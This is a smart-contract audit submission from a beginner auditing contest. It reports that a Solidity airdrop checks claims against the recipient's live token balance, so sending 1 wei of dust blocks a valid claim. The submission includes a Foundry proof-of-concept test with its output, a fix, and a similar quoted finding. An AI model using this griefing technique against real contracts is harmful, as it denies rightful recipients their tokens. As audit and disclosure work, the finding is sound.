Snowman Merkle Airdrop
AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Claim eligibility is derived from the live Snow balance instead of the signed Merkle amount, so a 1-wei dust transfer blocks a recipient's claim

zodmastro

Root + Impact

Description

  • The Merkle tree commits each recipient to a fixed (receiver, amount) pair, and the recipient signs that same pair, so a claim should be validated against the committed amount.

  • getMessageHash and claimSnowman instead read i_snow.balanceOf(receiver) at call time and use it to build both the signed struct and the Merkle leaf. Any change to the recipient's balance between snapshot and claim makes the signature check and the proof check fail.

uint256 amount = i_snow.balanceOf(receiver); //@> live balance, not the committed amount
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
​
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}

Risk

Likelihood:

  • Anyone can push a recipient off the committed amount by sending them 1 wei of Snow. It is a permissionless ERC20 transfer needing no approval or cooperation, and it can be front-run into the same block as the claim.

  • It also triggers with no attacker at all: a recipient who calls earnSnow or buySnow after the snapshot, which the protocol actively encourages, breaks their own claim.

Impact:

  • Affected recipients cannot claim the NFTs they are entitled to. Their transaction reverts with SA__InvalidSignature or SA__InvalidProof, denying them the airdrop.

  • Recovery needs the victim to transfer the exact excess away and, in the relayed flow, re-sign. The attacker can repeat the dust transfer each time, and in the relayed case every retry also burns the relayer's gas.

Proof of Concept

Save as test/Sub3.t.sol and run forge test --match-path test/Sub3.t.sol -vv. A whitelisted recipient signs a valid claim, a griefer sends 1 wei of Snow, and the claim reverts.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
import {Test} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {MockWETH} from "../src/mock/MockWETH.sol";
import {Helper} from "../script/Helper.s.sol";
​
contract Sub3DustGrief is Test {
Snow snow;
Snowman nft;
SnowmanAirdrop airdrop;
MockWETH weth;
​
address alice;
uint256 alKey;
address bob = makeAddr("bob"); // any Snow holder can grief
​
bytes32[] AL_PROOF = [
bytes32(0xf99782cec890699d4947528f9884acaca174602bb028a66d0870534acf241c52),
bytes32(0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af),
bytes32(0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1)
];
​
function setUp() public {
Helper helper = new Helper();
(airdrop, snow, nft, weth) = helper.run();
(alice, alKey) = makeAddrAndKey("alice");
}
​
function test_OneWeiDustBlocksTheClaim() public {
vm.prank(alice);
snow.approve(address(airdrop), type(uint256).max);
​
// Alice signs a valid claim for her snapshot balance of 1.
(uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, airdrop.getMessageHash(alice));
​
// Griefer front-runs the claim with a 1 wei Snow transfer. No approval needed.
vm.prank(bob);
snow.transfer(alice, 1);
assertEq(snow.balanceOf(alice), 2); // no longer equals the committed Merkle amount
​
// Alice's valid claim now reverts; her NFT is unclaimable.
vm.expectRevert(SnowmanAirdrop.SA__InvalidSignature.selector);
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
assertEq(nft.balanceOf(alice), 0);
}
}

Output:

Ran 1 test for test/Sub3.t.sol:Sub3DustGrief
[PASS] test_OneWeiDustBlocksTheClaim() (gas: 121159)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.62ms (569.59µs CPU time)

Recommended Mitigation

Take the committed amount as a parameter, verify the proof and signature against it, and require only that the balance covers it.

- function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
+ function claimSnowman(address receiver, uint256 amount, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) revert SA__ZeroAddress();
- if (i_snow.balanceOf(receiver) == 0) revert SA__ZeroAmount();
+ if (amount == 0) revert SA__ZeroAmount();
+ if (i_snow.balanceOf(receiver) < amount) revert SA__ZeroAmount();
- uint256 amount = i_snow.balanceOf(receiver);

Apply the same change to getMessageHash(address receiver, uint256 amount).

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-01] DoS to a user trying to claim a Snowman

# Root + Impact ## Description * Users will approve a specific amount of Snow to the SnowmanAirdrop and also sign a message with their address and that same amount, in order to be able to claim the NFT * Because the current amount of Snow owned by the user is used in the verification, an attacker could forcefully send Snow to the receiver in a front-running attack, to prevent the receiver from claiming the NFT.&#x20; ```Solidity function getMessageHash(address receiver) public view returns (bytes32) { ... // @audit HIGH An attacker could send 1 wei of Snow token to the receiver and invalidate the signature, causing the receiver to never be able to claim their Snowman uint256 amount = i_snow.balanceOf(receiver); return _hashTypedDataV4( keccak256(abi.encode(MESSAGE_TYPEHASH, SnowmanClaim({receiver: receiver, amount: amount}))) ); ``` ## Risk **Likelihood**: * The attacker must purchase Snow and forcefully send it to the receiver in a front-running attack, so the likelihood is Medium **Impact**: * The impact is High as it could lock out the receiver from claiming forever ## Proof of Concept The attack consists on Bob sending an extra Snow token to Alice before Satoshi claims the NFT on behalf of Alice. To showcase the risk, the extra Snow is earned for free by Bob. ```Solidity function testDoSClaimSnowman() public { assert(snow.balanceOf(alice) == 1); // Get alice's digest while the amount is still 1 bytes32 alDigest = airdrop.getMessageHash(alice); // alice signs a message (uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, alDigest); vm.startPrank(bob); vm.warp(block.timestamp + 1 weeks); snow.earnSnow(); assert(snow.balanceOf(bob) == 2); snow.transfer(alice, 1); // Alice claim test assert(snow.balanceOf(alice) == 2); vm.startPrank(alice); snow.approve(address(airdrop), 1); // satoshi calls claims on behalf of alice using her signed message vm.startPrank(satoshi); vm.expectRevert(); airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS); } ``` ## Recommended Mitigation Include the amount to be claimed in both `getMessageHash` and `claimSnowman` instead of reading it from the Snow contract. Showing only the new code in the section below ```Python function claimSnowman(address receiver, uint256 amount, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { ... bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount)))); if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { revert SA__InvalidProof(); } // @audit LOW Seems like using the ERC20 permit here would allow for both the delegation of the claim and the transfer of the Snow tokens in one transaction i_snow.safeTransferFrom(receiver, address(this), amount); // send ... } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!